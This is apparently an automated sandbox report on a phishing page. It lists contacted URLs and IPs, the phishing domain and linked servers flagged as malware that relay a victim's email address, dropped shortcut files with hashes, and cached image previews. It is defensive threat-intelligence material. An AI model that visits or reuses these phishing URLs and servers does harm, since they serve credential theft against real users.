https://api.ipify.org/?format=json	false		high
http://lide.alosalca.fun/favicon.ico	false	Avira URL Cloud: safe	unknown
http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	true		unknown
https://69-164-216-107.ip.linodeusercontent.com/emr/NVljaT1j0fUxaLat	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/vid2/GshGTxDGjm16q1FN	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/icod/k0gEEZOfTBiICr1j	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://69-164-216-107.ip.linodeusercontent.com/vph1/UwfUCFjisDNgeIUh	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/gss/Y0XFRO464XV5OX3u	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/wednt/vSLR30xkV1wCUmqV	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/sigi/te2BMKQevrPDL3Gd	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/cncl/8s3ZmRtEUbi2xSck	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/apr1/K7oawgiQZGO729O3	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/vid/9ByFVrvy71ZtFROH	false	Avira URL Cloud: safe	unknown
https://dashboard.spamfather.com/web/blocked-ip/check-ip?ip=185.152.66.230	false	Avira URL Cloud: malware	unknown
https://69-164-216-107.ip.linodeusercontent.com/key/f9DjaQLWUiikwc8f	false	Avira URL Cloud: safe	unknown
https://dashboard.spamfather.com/web/site/go-back?token=9704A-4FC48-AE885-98DCB-DCDF5-7F3FD-EF-16-81851-875&usr=joeblow@xyz.com	false	Avira URL Cloud: malware	unknown
https://lide.alosalca.fun/highbox	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://69-164-216-107.ip.linodeusercontent.com/epas/nDKjw0NsxLyvHy0Y	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/cosi/GhYFuqfXa2S89Zec	false	Avira URL Cloud: safe	unknown
https://dashboard.spamfather.com/web/site/check-em?email=joeblow@xyz.com	false	Avira URL Cloud: malware	unknown
https://69-164-216-107.ip.linodeusercontent.com/pasr/00Wp1QtPGGg6tNi2	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/noac/nlCQLkXBV0Ryrh8U	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	false	URL Reputation: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/pas2/CirkVnUZuw2gzfS8	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/enc/us9SPB7nWOX2ro45	false	Avira URL Cloud: safe	unknown
http://lide.alosalca.fun/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	false	Avira URL Cloud: safe	unknown
https://69-164-216-107.ip.linodeusercontent.com/takn/gnodp4Suzu5ewcl9	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.7.1.slim.min.js	false		high
https://69-164-216-107.ip.linodeusercontent.com/fpas/5uK7sqM5jLLgrgDX	false	Avira URL Cloud: safe	unknown
https://dashboard.spamfather.com/web/site/stats?ip=185.152.66.230&ua=Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64)%2520AppleWebKit%252F537.36%2520(KHTML%252C%2520like%2520Gecko)%2520Chrome%252F117.0.0.0%2520Safari%252F537.36&em=brianknowt23%40gmail.com	false	Avira URL Cloud: malware	unknown
http://lide.alosalca.fun/highbox/	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.yiiframework.com/doc-2.0/yii-base-module.html#runAction()-detail	chromecache_139.2.dr	false		high
https://github.com/yiisoft/yii2/	chromecache_139.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_128.2.dr	false		high
https://www.yiiframework.com/doc-2.0/yii-base-errorexception.html	chromecache_139.2.dr	false		high
https://www.google.com/search?q=Undefined	chromecache_139.2.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_110.2.dr	false		high
https://httpd.apache.org/	chromecache_139.2.dr	false		high
https://www.yiiframework.com/doc-2.0/yii-web-application.html#handleRequest()-detail	chromecache_139.2.dr	false		high
https://www.yiiframework.com/doc-2.0/yii-base-inlineaction.html#runWithParams()-detail	chromecache_139.2.dr	false		high
https://www.yiiframework.com/doc-2.0/yii-base-controller.html#runAction()-detail	chromecache_139.2.dr	false		high
https://www.yiiframework.com/doc-2.0/yii-base-errorhandler.html#handleError()-detail	chromecache_139.2.dr	false		high
https://getbootstrap.com)	chromecache_128.2.dr	false	Avira URL Cloud: safe	low
https://yiiframework.com/	chromecache_139.2.dr	false		high
https://www.yiiframework.com/doc-2.0/yii-base-application.html#run()-detail	chromecache_139.2.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_128.2.dr	false		high
https://fontawesome.com/	chromecache_139.2.dr	false		high
https://stackoverflow.com/search?q=Undefined	chromecache_139.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.215.99	www.google.com	United States	15169	GOOGLEUS	false
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
152.199.4.44	cs1100.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
104.21.1.57	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.128.161	lide.alosalca.fun	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
69.164.216.107	69-164-216-107.ip.linodeusercontent.com	United States	63949	LINODE-APLinodeLLCUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.67.172.36	dashboard.spamfather.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431853
Start date and time:	2024-04-25 21:44:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://lide.alosalca.fun/highbox#joeblow@xyz.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@17/116@30/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.15.94, 108.177.122.113, 108.177.122.102, 108.177.122.101, 108.177.122.100, 108.177.122.139, 108.177.122.138, 142.251.15.84, 34.104.35.123, 64.233.185.95, 64.233.177.95, 142.250.105.95, 108.177.122.95, 142.250.9.95, 173.194.219.95, 142.251.15.95, 64.233.176.95, 172.217.215.95, 172.253.124.95, 74.125.136.95, 74.125.138.95, 40.68.123.157, 199.232.210.172, 199.232.214.172, 192.229.211.108, 20.166.126.56, 20.3.187.198, 142.250.9.94
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ajax.googleapis.com, slscr.update.microsoft.com, clientservices.googleapis.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, clients.l.google.com, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 18:44:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9811970971319908
Encrypted:	false
SSDEEP:	48:8Xd6TG2CcH1idAKZdA19ehwiZUklqehpy+3:8MnXOy
MD5:	A205D7FF3BAF43BE3C50904998A07314
SHA1:	B785D3E93227D979CFF126441BEFD693F4205473
SHA-256:	6BCF9B07EBD93E8E026EB5B8BBC956E5540D86262E4B988E206CA0DB3FBD15CF
SHA-512:	68175DC575EB9DB6D00556CCAE1C312DB7DDAF446AA16FAF46D694569C786A8BE980DA051F69BD251E4569FA4CFD542A3ECF9EA89A2433E15B1675B165EFB89F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....L...I...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T/S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 18:44:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9973481697677546
Encrypted:	false
SSDEEP:	48:8Ld6TG2CcH1idAKZdA1weh/iZUkAQkqeh+y+2:8Ynd9QDy
MD5:	98C7F0CD220DAB42C335C08E9C754E78
SHA1:	A1B002C9ED546CE64B5DC45A5EFFC6C70078BF99
SHA-256:	B3B25826AC274F9696672EBB8957C1C2F6C5951E4B7B45E23EBEF3589C188ECF
SHA-512:	60E5CE813E638AB7E52712AFA2B43CFCF48824DC15A58061E537486E3C3B3E1381ACC09380168ED4C5BF6706234DCE0063924DE4CA2A5AE5BD512CD888CD262C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Q..I...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T/S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006463861607276
Encrypted:	false
SSDEEP:	48:8x3d6TG2sH1idAKZdA14tseh7sFiZUkmgqeh7s4y+BX:8xsn0nyy
MD5:	ED4377032083FDFFE7B6D1F620E453AE
SHA1:	8A35A08010C4C00DBE4A6E708D9110848DB95FDB
SHA-256:	E5A60BFD3B005EEF20E7E272F3B8EC1B6D9BBBA31998B6672AEC6639728BA713
SHA-512:	54D7EBD8DBC76A9CA25FDC9FD20304AD93768539F5C8498A9BF92FC3BE6D0A2F1C81E1492971DF600E6D77A730308577101B3B922E7ACDDBA25520F4977B3C03
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T/S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 18:44:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.995868717935152
Encrypted:	false
SSDEEP:	48:8Ld6TG2CcH1idAKZdA1vehDiZUkwqehqy+R:8Ynewy
MD5:	1BC1C234F310F58A85332E3CF0455798
SHA1:	F2B83868486B7E5E2519B720C35157FDCBEDB9DD
SHA-256:	FE736E6A3D03FC4FD9034D30BF821FB1811653DCC18A27A8343C7EE470E4E9B0
SHA-512:	4AF926BC4C2B51E7997B1F46A112D886ADAE18D57EF19F3A8065CDEB6C96C503709AB8478B735920CE7E60BAFBBD6F9D671847AE799C925B5B19CF33DD363BE1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........I...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T/S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 18:44:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9821219935286125
Encrypted:	false
SSDEEP:	48:8hd6TG2CcH1idAKZdA1hehBiZUk1W1qehcy+C:8mnu98y
MD5:	54F1009E16C1626B2BCF6D9072746522
SHA1:	7FE8DCE3FE141D2BDA5DF842DF73EF4762A6319D
SHA-256:	63424A4BE193285B2FDF246A1FE71C1E4F714DA2FCC02FE0D746364EDF2DDE8D
SHA-512:	BFEB6A8745E046D25FCDFC8F0105BF5E34C78F1E60F59222E548B74FFB33D4889AA9C109C1593DAB36A89C0E0D9607F61DE431E00DEE442E5247D45DCE26C35B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....j..I...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T/S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 18:44:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9951388031946173
Encrypted:	false
SSDEEP:	48:86d6TG2CcH1idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbyy+yT+:8rnQT/TbxWOvTbyy7T
MD5:	722F6C1411337124D6D0C9B2183100FF
SHA1:	6FAF227E74D3C12C6B1EC640C20F9F7A2328F128
SHA-256:	5BABE3C9DF409CB6C9B30B924276787138BA938D4688F3263E9EF73D903CE85D
SHA-512:	3176EE43C3EFB4D48403AD2071B332ACD371AB53CCD8AAADD94F10BDC2339ED34C189BDFB88DAD095F5264D613A3AB44C7023C38678DD7D53D654E9CAC375DD0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......I...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T/S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 437x43, components 3
Category:	dropped
Size (bytes):	5770
Entropy (8bit):	7.8654564205487825
Encrypted:	false
SSDEEP:	96:OE8Ay3sFfDmUetri9sxYsWcjjnaV7CWsHJPZlbcku+8Iy4PxEv65K086eNCShf:Oey4mU8a6LjjKaHZPuIywxECk0deJ
MD5:	BE2219342A6C810DDF3923183BBBA709
SHA1:	B7E559D9AA04A88F94630BCB8882BF01FDEAF1D8
SHA-256:	CDEEFE06F837F60FC4F330F2C0D26B268F9821C12E603AB13C701512F62C6A93
SHA-512:	2EEB42B27E9D79FFD4925345CF2C5AB7F1131904C038871FB5DF15646F7F65A78A87FA8972DA73D7915474F375C32A17015D59CC79F872058D04688D54908C96
Malicious:	false
Reputation:	low
Preview:	......JFIF.....x.x.....C....................................................................C.......................................................................+...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S..(...(...(...(...(...(........./.?...\|+e.......0jQ...k..9.z.>..D.....B.M..CP..4..\|..}..a.S...Q_=.._....6.D...c.k.}..;.v...]ciHGS..".>.....i.5.5/...mcO...o.]r..<...s.Gi.....X..(.0..(...(...(...'.g.\|o.v..<..X<....k-.G};._-!.9..:......G..l~)i......P.DmV]O.vH...wbI..N.;.(.W.-...<..Qt.dze..w.La#...W.3.....q...\|P..o...=#.z..Yjv...eD.:.fl20.y..r..(....d....

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 114x31, components 3
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	7.681101088025697
Encrypted:	false
SSDEEP:	48:DuERAhl42FXEGbSz4RyHh4EAVqiOoXhWrqsm8r7QNjC0Fq:6E4xXEmSzBheorUrgyO6q
MD5:	9FDE69D773990CC43BA30BAC9E2E4B3F
SHA1:	81DCC5C7F583139DCAB0D47F847BB7EE64888CBA
SHA-256:	D18B811217E109B28ADA133F01E5403DB9556BE00132EDCA53A21F67FB75A009
SHA-512:	99D2D1FF3348B828F51BA42E9678FCC856AAF712A25862F6C57401BF2941F7E52BF5D2ACE73E8B13B0C7046FAD127D6CD7E7C0F47888B4AF516CFB22F3132433
Malicious:	false
Reputation:	low
URL:	https://69-164-216-107.ip.linodeusercontent.com/ms/lxzGbv3hy4WdYfNa
Preview:	......JFIF.....x.x.....C....................................................................C.........................................................................r.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..$....\|/...$..g.7y....n7..F.7....X.A....Z.[\F..".ea.G.......".W.>...X...f.......S.4.....Z..(.....Mew..lI....0.....{.\|`....+_._k....Z5..`../..eR..r)/~).?..\|..z.j.......m.......2G<....]k........?.<I,.#....O.D?./...gP......zg.R....Zk^<.....n.....4..TW.j...]...j...m...G.+P....[$....C.A......).3.....'..um3G..M..I.O2[S..C..0$(<..=.....^%..?.x...M.....AW.k.fm....

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 178x41, components 3
Category:	downloaded
Size (bytes):	3383
Entropy (8bit):	7.850832187127247
Encrypted:	false
SSDEEP:	48:duERAmzbXW3JheY1kpn98WWOgMdIYao5ovpWMYlQMmJFbcE1fVPtcglNs:0EfPykpGWFxtWRWDlQM6FbcE55Zs
MD5:	382A4E05F8102B2863EE8EDB297BEB47
SHA1:	5D7A64E25BCE3DAC6B47627ADE056A71E11F0A83
SHA-256:	067440009B7611CA5C7EB6B934D10A70420F6B53782B43A127B62FA02C84581F
SHA-512:	A7644DF477D4F9B76100ED491C084239E2284CFC8BEF3F62D39ED83F8436D5962CFDBB774A01B874419D55E3AECA16C74D126E772B68EAA0A6CC65E6617D5172
Malicious:	false
Reputation:	low
URL:	https://69-164-216-107.ip.linodeusercontent.com/fpas/5uK7sqM5jLLgrgDX
Preview:	......JFIF.....x.x.....C....................................................................C.......................................................................)...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S..<e.M....>..]..2.U.a....F.R.$.......<..j='F.n./.Vu.]2..!FO.$J..z..U...'...m+ow..,.Xzu...Jod...nwtQEq.AE.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.Eqv?.<;q.}S.7SM.izm..\|.]..9<..P.`[.99.S...~#.w...e......Hd.d....Ul.\b....B2..K.....>....3.)F....J..y-..(.......S..{..<./l.dc,....]7.~*..MBKk..x.......Q@..#r..?.cU>?xOV..{.+E..m..Z....U'Fc. p.....Y...ZL3..N=U...5.>....T..)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 284x47, components 3
Category:	dropped
Size (bytes):	4655
Entropy (8bit):	7.877109052263454
Encrypted:	false
SSDEEP:	96:/Eo0VKiw4SNHvKgQpjth7tx+cHr8C1I9dgVJRFCnGBuM:/v0hnSPlQpjLtx+cHIDd+Jqn+R
MD5:	AEBF7E606F95F3CE0C4E35657B3F2C30
SHA1:	E08C7753C54F5CC5D877CBF157582E78F5D4B03A
SHA-256:	1EE866FB4F8EBCAD76DA3C51E6B53DE43A16FF08A6DF5739388BDAAE95184432
SHA-512:	E1766DBC98D327AAD25F216C796275D49D015741730524B93B3ED6F2F1B913813895B6812C25AAA5660036092D1DF9AD21C25E6797DDB0F43721999B67C501BF
Malicious:	false
Reputation:	low
